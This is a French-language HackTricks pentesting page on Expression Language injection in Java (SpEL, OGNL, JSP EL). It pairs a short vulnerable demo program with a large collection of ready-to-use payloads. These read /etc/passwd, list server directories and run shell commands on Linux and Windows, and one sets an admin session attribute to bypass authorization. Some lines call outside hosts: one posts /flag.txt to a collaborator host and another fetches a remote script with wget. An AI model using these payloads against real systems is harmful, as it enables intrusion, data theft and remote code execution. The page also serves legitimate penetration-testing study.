hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
2023-06-03 13:10:46 +00:00

18 KiB

EL - Langage d'expression

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informations de base

EL fournit un mécanisme important pour permettre à la couche de présentation (pages web) de communiquer avec la logique de l'application (beans gérés).

Où est-il utilisé ?

  1. Spring Framework : Sécurité, Données, …
  2. N'importe quel endroit où les développeurs l'utilisent par l'API SpEL
  3. Pour les langages, il peut être utilisé en Java, Kotlin, Scala et d'autres technologies basées sur JVM.

EL est utilisé par plusieurs technologies JavaEE, telles que la technologie JavaServer Faces, la technologie JavaServer Pages (JSP) et l'injection de contextes et de dépendances pour Java EE (CDI). EL peut également être utilisé dans des environnements autonomes.

Les applications Java sont facilement reconnaissables car elles ont tendance à utiliser des extensions comme .jsp ou .jsf, à générer des erreurs de pile et à utiliser des termes comme "Serverlet" dans les en-têtes.

{% hint style="info" %} Selon la version de EL, certaines fonctionnalités peuvent être activées ou désactivées et généralement certains caractères peuvent être interdits. {% endhint %}

Exemple de base

(Vous pouvez trouver un autre tutoriel intéressant sur EL à l'adresse https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)

Téléchargez à partir du référentiel Maven les fichiers jar suivants :

  • commons-lang3-3.9.jar
  • spring-core-5.2.1.RELEASE.jar
  • commons-logging-1.2.jar
  • spring-expression-5.2.1.RELEASE.jar

Et créez le fichier Main.java suivant :

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static ExpressionParser PARSER;

    public static void main(String[] args) throws Exception {
        PARSER = new SpelExpressionParser();

        System.out.println("Enter a String to evaluate:");
        java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
        String input = stdin.readLine();
        Expression exp = PARSER.parseExpression(input);
        String result = exp.getValue().toString();
        System.out.println(result);
    }
}

Ensuite, compilez le code (si vous n'avez pas javac installé, installez sudo apt install default-jdk):

javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

Exécutez l'application avec:

java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]

Notez comment dans l'exemple précédent le terme {5*5} a été évalué.

Exemple CVE

Comme vous l'avez déjà vu, je parie que vous savez ce qui va suivre. Si les développeurs utilisent SpEL avec une entrée utilisateur, nous devons créer une charge utile avec injection. Voyons-en une qui permet l'exécution de code à distance (RCE). Elle a été créée dans le cadre de l'exploitation de CVE-2017-8046.

Image pour l'article

Elle se compose de 3 parties :

  • couleur noire - copie le résultat de l'exécution de la commande directement dans le flux de sortie de la requête HTTP
  • couleur rouge - obtient Java Runtime et exécute la commande dans le système
  • couleur bleue - chaîne contenant la commande : cmd /c dir. Pour la rendre plus robuste, les caractères individuels de la commande sont décodés à partir de nombres.

Résultat de son exécution :

Image pour l'article

Charges utiles

Actions de base

#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

Détection

  • Détection avec Burp
gk6q${“zkz”.toString().replace(“k”, “x”)}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
  • Détection de J2EE
#J2EEScan Detection vector (substitute the content of the response body with the content of the “INJPARAM” parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
  • Attendre 10 secondes
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

Inclusion de fichier à distance

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

Liste de répertoires

Le répertoire listing est une fonctionnalité qui permet de lister tous les fichiers et répertoires d'un serveur web. Cela peut être utile pour les attaquants car cela leur permet de voir les fichiers sensibles qui peuvent être accessibles publiquement. Pour vérifier si un site web a la fonctionnalité de listing activée, vous pouvez ajouter "/directory/" à la fin de l'URL du site. Si le listing est activé, vous verrez une liste de tous les fichiers et répertoires du serveur.

Pour éviter que cette vulnérabilité ne soit exploitée, il est recommandé de désactiver la fonctionnalité de listing sur le serveur web. Cela peut être fait en ajoutant "Options -Indexes" dans le fichier .htaccess ou en configurant le serveur web pour qu'il ne permette pas le listing.

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

RCE

  • Explication de base de RCE
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
  • RCE linux

Remote Code Execution (Exécution de Code à Distance) est une vulnérabilité qui permet à un attaquant d'exécuter du code arbitraire à distance sur un système vulnérable. Pour exploiter cette vulnérabilité, l'attaquant doit trouver un point d'entrée pour injecter du code malveillant dans le système cible. Les vulnérabilités RCE sont souvent exploitées pour prendre le contrôle d'un système, voler des données sensibles ou installer des logiciels malveillants.

Les vulnérabilités RCE sur les systèmes linux peuvent être exploitées de différentes manières, notamment en exploitant des vulnérabilités dans des applications web, des services réseau ou des protocoles de communication. Les attaquants peuvent également exploiter des vulnérabilités dans des logiciels tiers installés sur le système, tels que des serveurs de bases de données ou des serveurs de messagerie.

Pour se protéger contre les vulnérabilités RCE, il est important de maintenir les systèmes à jour avec les derniers correctifs de sécurité et de limiter l'accès aux systèmes à des utilisateurs de confiance uniquement. Les pare-feux et les systèmes de détection d'intrusion peuvent également aider à détecter et à bloquer les attaques RCE.

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • RCE Windows (non testé)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • Plus de RCE
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

Inspection de l'environnement

  • applicationScope - variables globales de l'application
  • requestScope - variables de requête
  • initParam - variables d'initialisation de l'application
  • sessionScope - variables de session
  • param.X - valeur de paramètre où X est le nom d'un paramètre http

Vous devrez convertir ces variables en chaîne de caractères comme suit :

${sessionScope.toString()}

Exemple de contournement d'autorisation

${pageContext.request.getSession().setAttribute("admin", true)}

L'application peut également utiliser des variables personnalisées telles que:

${user}
${password}
${employee.FirstName}

Contournement de WAF

Vérifiez https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥